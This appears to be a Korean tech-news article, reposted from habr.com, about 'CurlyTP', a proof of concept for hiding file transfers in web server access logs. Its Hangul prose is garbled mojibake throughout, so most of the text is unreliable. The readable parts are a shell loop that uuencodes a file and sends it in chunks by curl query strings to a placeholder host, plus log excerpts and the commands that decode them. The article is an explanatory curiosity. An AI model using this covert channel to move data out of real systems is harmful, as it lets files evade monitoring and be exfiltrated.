์ํคํผ๋์ ์ ์์ ๋ฐ๋ฅด๋ฉด ๋ฐ๋ ๋๋กญ์ ๋น๋ฐ ์ฅ์๋ฅผ ์ฌ์ฉํ๋ ์ฌ๋๋ค ์ฌ์ด์ ์ ๋ณด๋ ์ผ๋ถ ํญ๋ชฉ์ ๊ตํํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์๋ชจ ๋๊ตฌ์ ๋๋ค. ์ฌ๋๋ค์ ์ ๋ ๋ง๋์ง ์์ง๋ง ์ด์ ์์ ์ ์ ์งํ๊ธฐ ์ํด ์ฌ์ ํ ์ ๋ณด๋ฅผ ๊ตํํ๋ค๋ ์์ด๋์ด์ ๋๋ค.
์์ ์ฒ๋ ์ฃผ์๋ฅผ ๋๋ฉด ์ ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์คํ๋ผ์ธ ์ธ๊ณ์์๋ ๋ฒฝ์ ๋ถ์ ํ๊ฑฐ์ด ๋ฒฝ๋, ๋์๊ด ์ฑ , ๋๋ฌด ์ ๊ตฌ๋ฉ ๋ฑ ์ ์คํ ๋ฌผ๊ฑด์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
์ธํฐ๋ท์๋ ๋ง์ ์ํธํ ๋ฐ ์ต๋ช
ํ ๋๊ตฌ๊ฐ ์์ง๋ง ์ด๋ฌํ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ค๋ ์ฌ์ค ์์ฒด๊ฐ ์ฃผ๋ชฉ์ ๋๊ณ ์์ต๋๋ค. ๋ํ ๊ธฐ์
์ด๋ ์ ๋ถ ์ฐจ์์์ ์ฐจ๋จ๋ ์๋ ์์ต๋๋ค. ๋ฌด์์ ํด์ผ ํ ๊น์?
๊ฐ๋ฐ์ Ryan Flowers๋ ํฅ๋ฏธ๋ก์ด ์ต์
์ ์ ์ํ์ต๋๋ค.
๋ชจ๋ ์น ์๋ฒ์์๋ ๊ฑฐ์ ๋ชจ๋ ๋ฉ์์ง๋ฅผ ๋ก๊ทธ์ ์ ์ฅํ ์ ์๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค. ๊ฝ๋ค์ ์ด๊ฒ์ ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง ๊ถ๊ธํดํ์ต๋๋ค.
๊ทธ๋ ๋ค์๊ณผ ๊ฐ์ ์ต์ ์ ์ ๊ณตํฉ๋๋ค.
- ํ ์คํธ ํ์ผ(๋น๋ฐ ๋ฉ์์ง)์ ๊ฐ์ ธ์์ ํด์(md5sum)๋ฅผ ๊ณ์ฐํฉ๋๋ค.
- ์ธ์ฝ๋ฉํฉ๋๋ค(gzip+uuencode).
- ์๋ฒ์ ์๋์ ์ผ๋ก ์๋ชป๋ ์์ฒญ์ ์ฌ์ฉํ์ฌ ๋ก๊ทธ์ ๊ธฐ๋กํฉ๋๋ค.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
ํ์ผ์ ์ฝ์ผ๋ ค๋ฉด ๋ค์ ์์ ์ ์ญ์์ผ๋ก ์ํํด์ผ ํฉ๋๋ค. ํ์ผ์ ๋์ฝ๋ฉํ๊ณ ์์ถ์ ํ๊ณ ํด์๋ฅผ ํ์ธํฉ๋๋ค(ํด์๋ ๊ณต๊ฐ ์ฑ๋์ ํตํด ์์ ํ๊ฒ ์ ์ก๋ ์ ์์).
๊ณต๋ฐฑ์ ๋ค์์ผ๋ก ๋์ฒด๋ฉ๋๋ค. =+=
์ฃผ์์ ๊ณต๋ฐฑ์ด ์๋๋ก ํฉ๋๋ค. ์์ฑ์๊ฐ CurlyTP๋ผ๊ณ ๋ถ๋ฅด๋ ์ด ํ๋ก๊ทธ๋จ์ ์ด๋ฉ์ผ ์ฒจ๋ถ ํ์ผ์ฒ๋ผ base64 ์ธ์ฝ๋ฉ์ ์ฌ์ฉํฉ๋๋ค. ์์ฒญ์ ํค์๋๋ก ์ด๋ฃจ์ด์ง๋๋ค. ?transfer?
์์ ์๊ฐ ๋ก๊ทธ์์ ์ฝ๊ฒ ์ฐพ์ ์ ์๋๋ก ํฉ๋๋ค.
์ด ๊ฒฝ์ฐ ๋ก๊ทธ์์ ๋ฌด์์ ๋ณผ ์ ์๋์?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
์ด๋ฏธ ์ธ๊ธํ๋ฏ์ด ๋น๋ฐ ๋ฉ์์ง๋ฅผ ๋ฐ์ผ๋ ค๋ฉด ์์ ์ ์ญ์์ผ๋ก ์ํํด์ผ ํฉ๋๋ค.
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
์ด ํ๋ก์ธ์ค๋ ์๋ํํ๊ธฐ ์ฝ์ต๋๋ค. Md5sum์ด ์ผ์นํ๊ณ ํ์ผ ๋ด์ฉ์ ํตํด ๋ชจ๋ ๊ฒ์ด ์ฌ๋ฐ๋ฅด๊ฒ ๋์ฝ๋ฉ๋์์์ ํ์ธํฉ๋๋ค.
๋ฐฉ๋ฒ์ ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค. โ์ด ์ฐ์ต์ ์์ ์ ๋จ์ํ ์น ์์ฒญ์ ํตํด ํ์ผ์ด ์ ์ก๋ ์ ์์ผ๋ฉฐ ์ผ๋ฐ ํ ์คํธ ๋ก๊ทธ๊ฐ ์๋ ๋ชจ๋ ์น ์๋ฒ์์ ์๋ํ๋ค๋ ๊ฒ์ ์ฆ๋ช ํ๋ ๊ฒ์ ๋๋ค. ๋ณธ์ง์ ์ผ๋ก ๋ชจ๋ ์น ์๋ฒ๋ ์์ ์ฒ์ ๋๋ค!โ๋ผ๊ณ Flowers๋ ์ผ์ต๋๋ค.
๋ฌผ๋ก ์ด ๋ฐฉ๋ฒ์ ์์ ์๊ฐ ์๋ฒ ๋ก๊ทธ์ ์ก์ธ์คํ ์ ์๋ ๊ฒฝ์ฐ์๋ง ์๋ํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฌํ ์ก์ธ์ค๋ ์๋ฅผ ๋ค์ด ๋ง์ ํธ์คํ ์ ์ฒด์์ ์ ๊ณต๋ฉ๋๋ค.
์ฌ์ฉ ๋ฐฉ๋ฒ?
Ryan Flowers๋ ์์ ์ด ์ ๋ณด ๋ณด์ ์ ๋ฌธ๊ฐ๊ฐ ์๋๋ฉฐ CurlyTP์ ๊ฐ๋ฅํ ์ฉ๋ ๋ชฉ๋ก์ ์์ฑํ์ง ์์ ๊ฒ์ด๋ผ๊ณ ๋งํ์ต๋๋ค. ๊ทธ์๊ฒ ์ด๋ ์ฐ๋ฆฌ๊ฐ ๋งค์ผ ๋ณด๋ ์น์ํ ๋๊ตฌ๊ฐ ์๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์ฌ์ฉ๋ ์ ์๋ค๋ ๊ฐ๋ ์ฆ๋ช ์ผ ๋ฟ์ ๋๋ค.
์ค์ ๋ก ์ด ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ ๋ค๋ฅธ ์๋ฒ "์จ๊ธฐ๊ธฐ"์ ๋นํด ์ฌ๋ฌ ๊ฐ์ง ์ฅ์ ์ด ์์ต๋๋ค.
์ด๋ ์๋น์ค ํ์ผ์ ํตํด ๋ฉ์์ง๋ฅผ ์ ์กํ๋ ๋ฐฉ๋ฒ ์ค ํ๋์
๋๋ค. ๋ช๋ช ์ ์ง ๊ธฐ์
๋ค์ด ์ด๋ป๊ฒ ๋ฐฐ์นํ๋์ง ๊ธฐ์ตํ์ค ๊ฒ๋๋ค.
์ผ๋ฐ ์ฌ๋์ ํค๋๋ HTML ์ฝ๋๋ฅผ ๋ณด์ง ์๊ธฐ ๋๋ฌธ์ ์น ๊ฐ๋ฐ์๋ง์ด ์ด ์ด์คํฐ ์๊ทธ๋ฅผ ๋ณผ ์ ์๋ค๋ ์๊ฐ์ด์์ต๋๋ค.
์ถ์ฒ : habr.com